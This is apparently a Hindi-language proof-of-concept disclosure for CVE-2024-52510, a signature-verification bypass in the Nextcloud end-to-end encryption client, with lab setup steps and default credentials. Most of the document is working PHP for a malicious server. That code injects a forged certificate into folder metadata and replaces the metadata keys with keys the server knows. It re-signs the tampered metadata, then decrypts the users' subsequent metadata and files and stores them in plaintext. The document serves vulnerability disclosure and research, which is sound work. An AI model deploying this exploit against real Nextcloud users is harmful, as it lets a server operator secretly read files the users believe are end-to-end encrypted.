
CVE-2024-52510 - Nextcloud End to End Encryption में गोपनीयता भंग
Nextcloud के E2EEv2 प्रोटोकॉल के सामान्य संचालन के दौरान, क्लाइंट सर्वर पर अपलोड करने से पहले फ़ोल्डर-मेटाडेटा पर क्रिप्टोग्राफ़िक रूप से हस्ताक्षर करते हैं। यह सुनिश्चित करता है कि फ़ाइल-साझाकरण या सिंकिंग परिवर्तनों के उद्देश्य से इसे पुनः प्राप्त करने पर मेटाडेटा के साथ छेड़छाड़ नहीं की गई है।
हस्ताक्षर सत्यापन क्लाइंट द्वारा foldermetadata.cpp:177 में किया जाता है, जब प्राप्त मेटाडेटा प्रारंभ किया जाता है। हालाँकि, एक दुर्भावनापूर्ण सर्वर इस जाँच को बायपास करने के दो तरीके हैं:
वे एक खाली X-E2EE-SIGNATURE रिस्पांस हेडर के साथ उत्तर दे सकते हैं। चूँकि हेडर खाली है, foldermetadata.cpp:168 पर स्थित शर्त का अर्थ है कि हस्ताक्षर सत्यापन नहीं होता है, और संशोधित मेटाडेटा क्लाइंट द्वारा स्वीकार कर लिया जाता है।
वे users JSON ऐरे में एक प्रमाणपत्र इंजेक्ट कर सकते हैं, और फिर उस प्रमाणपत्र के साथ मेटाडेटा पर हस्ताक्षर कर सकते हैं। चूँकि clientsideencryption.cpp:941 पर CMS_NO_SIGNER_CERT_VERIFY पास किया जाता है, हस्ताक्षर करने वाले प्रमाणपत्र का चेन-सत्यापन नहीं होता है और क्लाइंट केवल यह जाँचता है कि हस्ताक्षर करने वाला प्रमाणपत्र clientsideencryption.cpp:955-971 में certificatePems वेक्टर में मौजूद है, जो सर्वर द्वारा नियंत्रित होता है।
इस POC में हम दूसरी विधि का प्रदर्शन करेंगे क्योंकि यह विधि लागू करने के लिए अधिक कठिन है, हालाँकि दोनों को कार्य करने के लिए परीक्षण किया गया है।
एक दुर्भावनापूर्ण सर्वर इस बायपास का उपयोग क्लाइंट्स को सर्वर को ज्ञात मेटाडेटा कुंजियाँ प्रदान करने के लिए कर सकता है। क्लाइंट तब इस मेटाडेटा कुंजी का उपयोग बाद की फ़ाइलों को एन्क्रिप्ट करने के लिए करेंगे, जिससे सर्वर एंड-टू-एंड एन्क्रिप्टेड फ़ोल्डरों में फ़ाइलों को डिक्रिप्ट और पढ़ सकता है।
हस्ताक्षर बायपास का लाभ उठाने का यह तरीका 2023 में Albrecht, Backendal, Coppola, Paterson द्वारा E2EE प्रोटोकॉल के पिछले संस्करण पर खोजे गए एक हमले पर आधारित है (https://eprint.iacr.org/2024/546)। वास्तव में, मेटाडेटा कुंजियों का प्रमाणीकरण हमले के लिए एक शमन रणनीति थी (लिंक किए गए पेपर का अनुभाग 5.1 देखें)।
इस रिपॉजिटरी को क्लोन करें, और DevContainer एक्सटेंशन का उपयोग करके इसे VS Code में खोलें। Nextcloud सर्वर रिपॉजिटरी में मौजूद एक पर आधारित DevContainer निम्नलिखित परिवर्तनों के साथ प्रदान किया गया है:
7001 पर एक mitmproxy रिवर्स प्रॉक्सी मौजूद है। वेब UI को पोर्ट 7002 पर एक्सेस किया जा सकता है।encryption और end_to_end_encryption ऐप्स भी सक्षम होंगे, और उपयोगकर्ता नाम और पासवर्ड sharer वाला एक खाता बनाया जाएगा।सर्वर चालू होने के बाद, नवीनतम क्लाइंट का उपयोग करके http://localhost:8000 पर (या http://localhost:7001 पर रिवर्स प्रॉक्सी के माध्यम से) उससे कनेक्ट करें। वर्तमान में मैंने इसे v3.13.2 AppImage पर परीक्षण किया है।
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
संकेत मिलने पर, उपयोगकर्ता नाम sharer और पासवर्ड sharer के साथ लॉग इन करें। डिफ़ॉल्ट सिंकिंग विकल्प (इसके अंदर welcome.txt के साथ एक निर्देशिका ~/Nextcloud/ बनाना) स्वीकार करें, और Nextcloud क्लाइंट सेटिंग्स में एंड-टू-एंड एन्क्रिप्शन सेट करें।
~/Nextcloud निर्देशिका के अंदर एक नया फ़ोल्डर encrypted_folder बनाएँ। Nextcloud क्लाइंट सेटिंग्स में, इस फ़ोल्डर को एन्क्रिप्टेड के रूप में चिह्नित करें।

Nextcloud/encrypted_folder के अंदर, एक साधारण टेक्स्ट फ़ाइल बनाएँ और इसके सिंक होने की प्रतीक्षा करें।# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
http://localhost:8080/ पर Adminer में Postgres डेटाबेस में निम्नलिखित क्रेडेंशियल का उपयोग करके लॉग इन करें:
postgrespostgrespostgresऔर oc_e2e_encryption_metadata और oc_e2e_encryption_decrypted तालिकाओं पर नेविगेट करें। आपको डिक्रिप्टेड मेटाडेटा और फ़ाइल सामग्री स्पष्ट रूप में देखने में सक्षम होना चाहिए।

उपरोक्त स्क्रीनशॉट में कुछ अतिरिक्त परीक्षण फ़ाइलें बनाई और हटाई गई थीं, इसलिए वे आपके द्वारा देखे जाने से थोड़े भिन्न होंगे।
यह रिपॉजिटरी Nextcloud सर्वर और एंड-टू-एंड एन्क्रिप्शन ऐप रिपॉजिटरी पर आधारित है। अधिकांश कोड अपरिवर्तित रहता है, इसलिए मैं यह समझाने का प्रयास करूँगा कि किन चीज़ों को बदला गया है।
सबसे पहले, MetaDataStorage.php की getMetadata विधि को इस प्रकार बदला गया है कि वह एक नई getFakeUserMetadata विधि में कॉल करके लौटाए गए मेटाडेटा के साथ छेड़छाड़ करे।
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
getFakeUserMetadata विधि में, हम पहले एक चुने हुए प्रमाणपत्र को users JSON कुंजी में इंजेक्ट करते हैं। यह हस्ताक्षर जालसाजी को सुविधाजनक बनाने के लिए है।
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* This is a non-root metadata. Return as normal*/
return json_encode($metaData);
}
/*
* Step 1: Inject a fake public key into the metadata
* This can be used to forge a signature for the response.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Create a new private key for the fake user */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Client is expecting a certificate for the public key */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
}
$newUser = new \stdClass();
$newUser->certificate = $pemCertificate;
array_push($metaData->users, $newUser);
}
फिर, चूँकि हमारे पास क्लाइंट की सार्वजनिक कुंजी तक पहुँच है, हम अपनी स्वयं की कुंजियों को एन्क्रिप्ट कर सकते हैं और एन्क्रिप्टेड मेटाडेटा कुंजियों को उन कुंजियों से बदल सकते हैं जिन्हें हम नियंत्रित करते हैं।
/*
* Step 2: Change all the metadata keys to keys that we control.
*/
foreach ($metaData->users as $userData) {
$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
}
/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
if (!is_null($newUser)) {
$newUser->userId = $this->fakeUserId;
}
चूँकि हमने मेटाडेटा कुंजियों के साथ छेड़छाड़ की है, हमें सिफरटेक्स्ट को भी बदलना होगा। यदि हमने पहले ही हमले को सफलतापूर्वक चला लिया है, तो हमारे पास वास्तविक मेटाडेटा तक पहुँच होगी जिसे हम पुनः एन्क्रिप्ट कर सकते हैं। अन्यथा हम एक खाली मेटाडेटा ऑब्जेक्ट प्रारंभ करेंगे और उसे एन्क्रिप्ट करेंगे।
/*
* Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
* Then as long as we don't trigger a downsync, the next PUT will
* contain metadata encrypted with a key known to us.
*/
$fakeMetadata = new \stdClass();
$fakeMetadata->folders = new \stdClass();
$fakeMetadata->files = new \stdClass();
try {
$metadataEntities = $this->metadataMapper->getByFolderId($id);
foreach ($metadataEntities as $metadataEntity) {
$encryptedFilename = $metadataEntity->getEncryptedFilename();
if ($metadataEntity->isDirectory()) {
$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
} else {
$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
}
}
} catch (DoesNotExistException $ex) {
/* Return empty metadata */
}
$fakeMetadata->counter = $this->getCounter($id);
/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
$fakeMetadata->keyChecksums = array();
array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));
/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
$plaintext = gzencode(json_encode($fakeMetadata));
$nonce = openssl_random_pseudo_bytes(16);
$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
$metaData->metadata->nonce = base64_encode($nonce);
$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
/* Ensure whatever metadata we return syncs up with what is stored on disk */
$folder->getFile($this->metaDataFileName)->putContent($metaData);
अंत में, हम छेड़छाड़ किए गए JSON पेलोड को लेते हैं और अपने प्रमाणपत्र के साथ उस पर पुनः हस्ताक्षर करते हैं। एक विकल्प यह भी होगा कि यहाँ खाली हस्ताक्षर का उपयोग किया जाए।
/* Note: We only need to forge a signature for root metadata */
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
file_put_contents($metadataTempFile, base64_encode($metaData));
if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
$signature = base64_encode(file_get_contents($signatureTempFile));
$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
} else {
$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
}
unlink($signatureTempFile);
unlink($metadataTempFile);
return $metaData;
}
एक बार मेटाडेटा के साथ छेड़छाड़ हो जाने पर, क्लाइंट किसी भी नए मेटाडेटा को एन्क्रिप्ट करने के लिए हमारी एन्क्रिप्शन कुंजी का उपयोग करेगा। किसी भी नए मेटाडेटा की प्राप्ति पर, हम अपनी कुंजी का उपयोग करके उसे डिक्रिप्ट करने का प्रयास करते हैं।
--- original/lib/Controller/MetaDataController.php 2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php 2024-07-11 20:54:06.794689137 +1000
@@ -164,9 +170,11 @@
}
if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
throw new OCSForbiddenException($this->l10n->t('You are not allowed to edit the file, make sure to first lock it, and then send the right token'));
}
+ $this->metaDataStorage->decryptMetaData($id, $metaData);
+
try {
$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
} catch (MissingMetaDataException $e) {
public function decryptMetaData(int $id, string $metaData) {
$this->verifyFolderStructure();
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
/* Try to decrypt the incoming metadata with our fake key */
$metaData = json_decode($metaData);
$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
$ciphertext = substr($ciphertextAndTag, 0, -16);
$nonce = base64_decode($metaData->metadata->nonce);
$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
/* If we succeed, store the decrypted metadata */
if ($gzippedPlaintext) {
$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
foreach ($decodedMetadata->files as $encryptedFilename => $file) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setEncryptedFilename($encryptedFilename);
$metadataEntity->setKey($file->key);
$metadataEntity->setKey($file->key);
$metadataEntity->setNonce($file->nonce);
$metadataEntity->setAuthenticationTag($file->authenticationTag);
$metadataEntity->setFilename($file->filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setKey($file->key);
$newMetadata->setNonce($file->nonce);
$newMetadata->setAuthenticationTag($file->authenticationTag);
$newMetadata->setFilename($file->filename);
$this->metadataMapper->insert($newMetadata);
}
}
foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setFilename($filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setFilename($filename);
$this->metadataMapper->insert($newMetadata);
}
}
}
}
अंत में, हम नई फ़ाइल बनाए जाने पर एक लिसनर बनाते हैं, और डिक्रिप्टेड मेटाडेटा में पाई गई फ़ाइल कुंजियों का उपयोग करके डिक्रिप्ट करने का प्रयास करते हैं।
class NodeCreatedListener implements IEventListener {
private MetadataMapper $metadataMapper;
private PlaintextMapper $plaintextMapper;
public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
$this->metadataMapper = $metadataMapper;
$this->plaintextMapper = $plaintextMapper;
}
public function handle(Event $event): void {
if (!($event instanceof NodeCreatedEvent)) {
return;
}
$node = $event->getNode();
$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
if ($node instanceof File) {
$curr = $node;
while (!($curr instanceof Root)) {
$curr = $curr->getParent();
$id = $curr->getId();
try {
$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
} catch (DoesNotExistException $ex) {
continue;
}
/* Metadata found: try to decrypt */
$key = base64_decode($metadata->getKey());
$nonce = base64_decode($metadata->getNonce());
$authenticationTag = base64_decode($metadata->getAuthenticationTag());
$ciphertext = substr($node->getContent(), 0, -16);
$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);
if ($plaintext) {
/* Decryption successful. Store in DB */
try {
$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->update($plaintextEntity);
} catch (DoesNotExistException $ex) {
$plaintextEntity = new Plaintext();
$plaintextEntity->setId($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->insert($plaintextEntity);
}
break;
}
}
}
}
}